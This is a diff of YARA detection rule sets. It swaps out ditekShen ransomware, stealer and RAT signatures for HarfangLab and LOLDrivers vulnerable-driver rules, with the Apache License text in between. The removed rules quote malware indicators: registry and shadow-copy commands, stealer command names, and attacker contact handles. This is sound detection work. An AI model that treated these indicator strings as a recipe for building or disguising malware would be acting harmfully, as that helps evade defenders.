+		uint16(0)==0x5A4D and filesize <200KB and (($name and $key) or (3 of ($cmd*) and 3 of ($msg*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_LOLKEK : FILE
+rule HARFANGLAB_Custom_Ateraagent_Operator : FILE
 {
 	meta:
-		description = "Detects LOLKEK / GlobeImposter ransowmare"
-		author = "ditekShen"
-		id = "96374c8d-2ef7-5706-a96f-27d60f73f8c1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10865-L10882"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "047492f8b7b56c75cfdcc4359de2b02a76cf9591b902171785806987e552995a"
+		description = "Detect Atera Agent configured to certain email addresses, or email domains"
+		author = "HarfangLab"
+		id = "af0fae1d-2d25-5551-8720-ff1172ff4eea"
+		date = "2024-04-17"
+		modified = "2024-04-22"
+		reference = "TRR240402"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/TRR240402/trr240402_yara-template.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "71622b61c5f645dd846327b79bf6dddefef458b73a82caa34d086da2ba48cd8c"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$s1 = "$Recycle.bin" fullword wide
-		$s2 = "\\\\?\\%c:" fullword wide
-		$s3 = ".MMM" fullword wide
-		$s4 = "ReadMe.txt" fullword wide
-		$s5 = "select * from Win32_ShadowCopy" fullword wide
-		$s6 = "Win32_ShadowCopy.ID='%s'" fullword wide
-		$s7 = "W3CRYPTO LOCKER" ascii
-		$s8 = "http://mmcb" ascii
-		$s9 = "yip.su/2QstD5" ascii
-		$s10 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe" ascii
+		$email = "email@domain.tld"
+		$s1 = "PREVIOUSFOUNDWIX_UPGRADE_DETECTED"
+		$s2 = "INTEGRATORLOGIN"
+		$sc1 = { 0A 28 49 99 78 E5 89 8D F4 0A 23 8E B8 A5 52 E8 }
+		$sc2 = { 06 7F 60 47 95 66 24 A7 15 99 61 74 3D 81 94 93 }
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		filesize >1MB and filesize <4MB and ( uint16be(0)==0xD0CF) and @s1<@email and @email<@s2[3] and any of ($sc*)
 }
-import "pe"
+/*
+ * YARA Rule Set
+ * Repository Name: LOLDrivers
+ * Repository: https://github.com/magicsword-io/LOLDrivers/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 9d66da6a16ea11fe98443fe150bb3703126ec74c
+ * Number of Rules: 529
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ *                                  Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
 
-rule DITEKSHEN_MALWARE_Win_Spacecolon : FILE
-{
-	meta:
-		description = "Detects Spacecolon ransomware"
-		author = "ditekSHen"
-		id = "38bde0b6-96a3-5081-b152-c251d7a2ffac"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10884-L10904"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d6e55c45f9df98bc152dadc1ba0953b4b89b5a503af0fc5ba53e12a1aa4f6d28"
-		score = 75
-		quality = 48
-		tags = "FILE"
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
 
-	strings:
-		$s1 = "eraseext" fullword ascii
-		$s2 = "*.encrypted" fullword ascii
-		$s3 = "TIMATOMA#" fullword wide
-		$s4 = ".Encrypted" fullword wide
-		$s5 = "Already Encrypted" wide
-		$s6 = "note.txt" fullword wide
-		$s7 = "HOW TO RECOVERY FILES.TXT" fullword wide
-		$s8 = "taskkill /f /im \"" wide nocase
-		$s9 = "\\kill.bat" wide
-		$s10 = "Search cancelled -" fullword wide
-		$s11 = "%d folder(s) searched and %d file(s) found - %.3f second(s)" fullword wide
-		$s12 = "Our TOX ID :" ascii
-		$s13 = "tufhackteam@gmail.com" ascii
+   END OF TERMS AND CONDITIONS
 
-	condition:
-		uint16(0)==0x5a4d and 8 of them
-}
-import "pe"
+   APPENDIX: How to apply the Apache License to your work.
 
-rule DITEKSHEN_MALWARE_Win_Rhysida : FILE
-{
-	meta:
-		description = "Detects Rhysida ransomware"
-		author = "ditekSHen"
-		id = "a70bdf19-3b56-5dc0-be74-20a2e85099cc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10906-L10920"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fb15f497cdee40b237dfc2aafcde2da95ff2a6f9c162273862ec1a0053269932"
-		score = 75
-		quality = 75
-		tags = "FILE"
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
 
-	strings:
-		$s1 = "cmd.exe /c reg add \"HK" ascii
-		$s2 = "rundll32.exe user32.dll,UpdatePerUserSystemParameters" fullword ascii
-		$s3 = "C:/Users/Public/bg.jpg" fullword ascii
-		$s4 = "CriticalBreachDetected.pdf" fullword ascii
-		$s5 = "rhysida" ascii
-		$s6 = "cmd.exe /c reg delete \"HKCU\\Cont" ascii
-		$s7 = "Rhysida-" ascii
+   Copyright [yyyy] [name of copyright owner]
 
-	condition:
-		uint16(0)==0x5a4d and 5 of ($s*) or (3 of ($s*) and #s1>5)
-}
-import "pe"
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
 
-rule DITEKSHEN_MALWARE_Win_Povertystealer : FILE
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ */
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_34BE : FILE
 {
 	meta:
-		description = "Detects PovertyStealer"
-		author = "ditekSHen"
-		id = "a431b82a-81cb-51a9-b3a8-61d71f36a60e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10922-L10935"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0d8a4dd1f3a9935935878840d19e16d91d240da776f99eb2dd3f12df96efa1d9"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "eacc5085-aa34-5f46-977d-84761649bd6d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2-L29"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3"
+		hash = "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02"
+		hash = "368a9c2b6f12adbe2ba65181fb96f8b0d2241e4eae9f3ce3e20e50c3a3cc9aa1"
+		hash = "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe"
+		hash = "11a4b08e70ebc25a1d4c35ed0f8ef576c1424c52b580115b26149bd224ffc768"
+		hash = "4d5059ec1ebd41284b9cea6ce804596e0f386c09eee25becdd3f6949e94139ba"
+		hash = "572c545b5a95d3f4d8c9808ebeff23f3c62ed41910eb162343dd5338e2d6b0b4"
+		hash = "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa"
+		hash = "da617fe914a5f86dc9d657ef891bbbceb393c8a6fea2313c84923f3630255cdb"
+		logic_hash = "99bb403a6a21e02d2c100267f008feaf6cafd8eb5209d26adc249bf113f87d42"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		clamav1 = "MALWARE.Win.Trojan.PovertyStealer"
 
 	strings:
-		$x1 = "Poverty is the parent of crime." ascii
-		$s2 = "OperationSystem: %d:%d:%d" ascii
-		$s3 = "ScreenSize: {lWidth=%d, lHeight=%d}" ascii
-		$s4 = "VideoAdapter #%d: %s" ascii
-		$s5 = "$d.log" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310037002000430050005500490044 }
 
 	condition:
-		(( uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))) or all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Janelarat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_0E85 : FILE
 {
 	meta:
-		description = "Detects JanelaRAT"
-		author = "ditekSHen"
-		id = "6a49eeda-307f-5429-aa24-658223360239"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10937-L10957"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9f10112b6ffa382b03511e7b6c8757438d5910ee2c24d650d05bb53abfff3860"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "caf170d7-172f-56eb-beae-0c40e7ac78fa"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L32-L60"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0e8595217f4457757bed0e3cdea25ea70429732b173bba999f02dc85c7e06d02"
+		hash = "73c03b01d5d1eb03ec5cb5a443714b12fa095cc4b09ddc34671a92117ae4bb3a"
+		hash = "b0f6cd34717d0cea5ab394b39a9de3a479ca472a071540a595117219d9a61a44"
+		hash = "ff987c30ce822d99f3b4b4e23c61b88955f52406a95e6331570a2a13cbebc498"
+		hash = "40da0adf588cbb2841a657239d92f24b111d62b173204b8102dd0e014932fe59"
+		hash = "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4"
+		hash = "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b"
+		hash = "405a99028c99f36ab0f84a1fd810a167b8f0597725e37513d7430617106501f1"
+		hash = "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d"
+		hash = "78d49094913526340d8d0ef952e8fe9ada9e8b20726b77fb88c9fb5d54510663"
+		logic_hash = "2e3f7c31d7bad9d21c921e2cebe38c717909cbbc44f60fb2da2623f2d1f3ce88"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x1 = "<Janela>k__" ascii
-		$x2 = "janela" fullword ascii
-		$x3 = "\\CSHARP\\RAT\\" ascii
-		$s1 = "<SystemInfos>k__" ascii
-		$s2 = "<SendKeepAlives>b__" ascii
-		$s3 = "hookStruct" fullword ascii
-		$s4 = "[^a-zA-Z]" fullword wide
-		$s5 = "GetRecycled" fullword ascii
-		$s6 = "import \"bcl.proto\";" wide
-		$s7 = "\\KL_FINAL\\" ascii
-		$s8 = "\\KL_FASEAVAST" ascii
-		$s9 = "\\kl c++" ascii
-		$s10 = "VisaoAPP" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310036002000430050005500490044 }
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or (6 of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Qwixxrat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_786F : FILE
 {
 	meta:
-		description = "Detects QwixxRAT. Uses ToxicEye / TelegramRAT as base (MALWARE_Win_TelegramRAT)"
-		author = "ditekSHen"
-		id = "0a8f2f6f-aa78-56c2-aca0-d575fbf0b91e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10959-L10971"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e6e44697e393da35215f7835f122cb74b05dbeebb558345d5110d6fbc809f4dd"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
+		author = "Florian Roth"
+		id = "78b84e8a-1f92-5954-a1da-19d7208279db"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L63-L86"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "786f0ba14567a7e19192645ad4e40bee6df259abf2fbdfda35b6a38f8493d6cc"
+		hash = "87aae726bf7104aac8c8f566ea98f2b51a2bfb6097b6fc8aa1f70adeb4681e1b"
+		hash = "daf549a7080d384ba99d1b5bd2383dbb1aa640f7ea3a216df1f08981508155f5"
+		hash = "48b1344e45e4de4dfb74ef918af5e0e403001c9061018e703261bbd72dc30548"
+		hash = "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69"
+		logic_hash = "b2d462b62be6d3300a514d6d21dad64162bb43ae7775730d65068ea180f3115f"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = /Qwixx(\s)?Stealer/ ascii wide
-		$s2 = "discord.gg/UXVFHzTjYe" wide
-		$s3 = "t.me/QwixxTwixx" wide
-		$s4 = "Secret Qwixx" wide
-		$s5 = "\\Qwixx Rat\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 }
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Toxiceye : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_A397 : FILE
 {
 	meta:
-		description = "Detects ToxicEye / TelegramRAT. Observed used as the basis for many infostealers"
-		author = "ditekSHen"
-		id = "99304f11-2444-5864-b174-514bb5bef0f7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10973-L10991"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee01c107dd295b923801c0d1a77b1534d3a5f2abf8d2cfa93c6786a1b0553504"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "957addda-818b-504f-98b4-63fdfed768b4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L89-L122"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a3975db1127c331ba541fffff0c607a15c45b47aa078e756b402422ef7e81c2c"
+		hash = "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63"
+		hash = "f7e0cca8ad9ea1e34fa1a5e0533a746b2fa0988ba56b01542bc43841e463b686"
+		hash = "8d6febd54ce0c98ea3653e582f7791061923a9a4842bd4a1326564204431ca9f"
+		hash = "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775"
+		hash = "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22"
+		hash = "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26"
+		hash = "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0"
+		hash = "bc8cb3aebe911bd9b4a3caf46f7dda0f73fec4d2e4e7bc9601bb6726f5893091"
+		hash = "ef1abc77f4000e68d5190f9e11025ea3dc1e6132103d4c3678e15a678de09f33"
+		hash = "3301b49b813427fa37a719988fe6446c6f4468dfe15aa246bec8d397f62f6486"
+		hash = "019c2955e380dd5867c4b82361a8d8de62346ef91140c95cb311b84448c0fa4f"
+		hash = "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578"
+		hash = "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad"
+		hash = "f8d6ce1c86cbd616bb821698037f60a41e129d282a8d6f1f5ecdd37a9688f585"
+		logic_hash = "bf47bed12e7e3677190ab26b8384597e297fef0dc6bd654c30b8f787d9fc5573"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "[~] Handling command" wide
-		$s2 = "[?] Sleeping {0}" wide
-		$s3 = "GETPASSWORDS" wide
-		$s4 = "FORKBOMB" wide
-		$s5 = "SENDKEYPRESS" wide
-		$s6 = "KEYLOGGER" wide
-		$s7 = "/ToxicEye/master/TelegramRAT/" wide
-		$s8 = "desktopScreenshot" ascii
-		$s9 = "MeltFile" ascii
-		$s10 = "AutoStealer" ascii
-		$s11 = /\/LimerBoy\/(ToxicEye|Adamantium-Thief|hackpy)/ wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310034002000430050005500490044 }
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Rdpcredsstealerinjector : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_D7E0 : FILE
 {
 	meta:
-		description = "Detects RDP Credentials Stealer injector"
-		author = "ditekSHen"
-		id = "221b7d64-6585-5f3a-bffa-bde05390db73"
-		date = "2024-05-28"
